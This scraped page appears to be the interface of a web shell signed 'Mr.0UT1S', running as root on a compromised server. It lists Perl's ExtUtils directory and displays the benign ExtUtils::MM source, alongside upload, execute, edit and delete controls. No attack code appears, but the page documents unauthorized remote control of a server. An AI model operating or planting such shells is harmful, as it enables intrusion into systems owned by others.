usr
/
share
/
perl5
/
vendor_perl
/
ExtUtils
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] CBuilder
N/A
[DIR] Command
N/A
[DIR] Liblist
N/A
[DIR] MM
N/A
[DIR] MakeMaker
N/A
[DIR] ParseXS
N/A
[DIR] Typemaps
N/A
CBuilder.pm
8.67 KB
Rename
Delete
Command.pm
7.62 KB
Rename
Delete
Install.pm
40.06 KB
Rename
Delete
Installed.pm
14.03 KB
Rename
Delete
Liblist.pm
9.51 KB
Rename
Delete
MANIFEST.SKIP
971 bytes
Rename
Delete
MM.pm
2.09 KB
Rename
Delete
MM_AIX.pm
1.37 KB
Rename
Delete
MM_Any.pm
80.81 KB
Rename
Delete
MM_BeOS.pm
1.02 KB
Rename
Delete
MM_Cygwin.pm
3.99 KB
Rename
Delete
MM_DOS.pm
1.03 KB
Rename
Delete
MM_Darwin.pm
936 bytes
Rename
Delete
MM_MacOS.pm
892 bytes
Rename
Delete
MM_NW5.pm
5.34 KB
Rename
Delete
MM_OS2.pm
3.14 KB
Rename
Delete
MM_QNX.pm
894 bytes
Rename
Delete
MM_UWIN.pm
981 bytes
Rename
Delete
MM_Unix.pm
108.47 KB
Rename
Delete
MM_VMS.pm
66.52 KB
Rename
Delete
MM_VOS.pm
749 bytes
Rename
Delete
MM_Win32.pm
14.06 KB
Rename
Delete
MM_Win95.pm
1.25 KB
Rename
Delete
MY.pm
678 bytes
Rename
Delete
MakeMaker.pm
107.94 KB
Rename
Delete
Manifest.pm
22.89 KB
Rename
Delete
Mkbootstrap.pm
3.23 KB
Rename
Delete
Mksymlists.pm
10.74 KB
Rename
Delete
Packlist.pm
8.36 KB
Rename
Delete
ParseXS.pm
65.01 KB
Rename
Delete
ParseXS.pod
4.30 KB
Rename
Delete
Typemaps.pm
26.17 KB
Rename
Delete
testlib.pm
916 bytes
Rename
Delete
xsubpp
4.96 KB
Rename
Delete
package ExtUtils::MM; use strict; use ExtUtils::MakeMaker::Config; our $VERSION = '7.34'; $VERSION = eval $VERSION; require ExtUtils::Liblist; require ExtUtils::MakeMaker; our @ISA = qw(ExtUtils::Liblist ExtUtils::MakeMaker); =head1 NAME ExtUtils::MM - OS adjusted ExtUtils::MakeMaker subclass =head1 SYNOPSIS require ExtUtils::MM; my $mm = MM->new(...); =head1 DESCRIPTION B<FOR INTERNAL USE ONLY> ExtUtils::MM is a subclass of ExtUtils::MakeMaker which automatically chooses the appropriate OS specific subclass for you (ie. ExtUils::MM_Unix, etc...). It also provides a convenient alias via the MM class (I didn't want MakeMaker modules outside of ExtUtils/). This class might turn out to be a temporary solution, but MM won't go away. =cut { # Convenient alias. package MM; our @ISA = qw(ExtUtils::MM); sub DESTROY {} } sub _is_win95 { # miniperl might not have the Win32 functions available and we need # to run in miniperl. my $have_win32 = eval { require Win32 }; return $have_win32 && defined &Win32::IsWin95 ? Win32::IsWin95() : ! defined $ENV{SYSTEMROOT}; } my %Is = (); $Is{VMS} = $^O eq 'VMS'; $Is{OS2} = $^O eq 'os2'; $Is{MacOS} = $^O eq 'MacOS'; if( $^O eq 'MSWin32' ) { _is_win95() ? $Is{Win95} = 1 : $Is{Win32} = 1; } $Is{UWIN} = $^O =~ /^uwin(-nt)?$/; $Is{Cygwin} = $^O eq 'cygwin'; $Is{NW5} = $Config{osname} eq 'NetWare'; # intentional $Is{BeOS} = ($^O =~ /beos/i or $^O eq 'haiku'); $Is{DOS} = $^O eq 'dos'; if( $Is{NW5} ) { $^O = 'NetWare'; delete $Is{Win32}; } $Is{VOS} = $^O eq 'vos'; $Is{QNX} = $^O eq 'qnx'; $Is{AIX} = $^O eq 'aix'; $Is{Darwin} = $^O eq 'darwin'; $Is{Unix} = !grep { $_ } values %Is; map { delete $Is{$_} unless $Is{$_} } keys %Is; _assert( keys %Is == 1 ); my($OS) = keys %Is; my $class = "ExtUtils::MM_$OS"; eval "require $class" unless $INC{"ExtUtils/MM_$OS.pm"}; ## no critic die $@ if $@; unshift @ISA, $class; sub _assert { my $sanity = shift; die sprintf "Assert failed at %s line %d\n", (caller)[1,2] unless $sanity; return; }
Save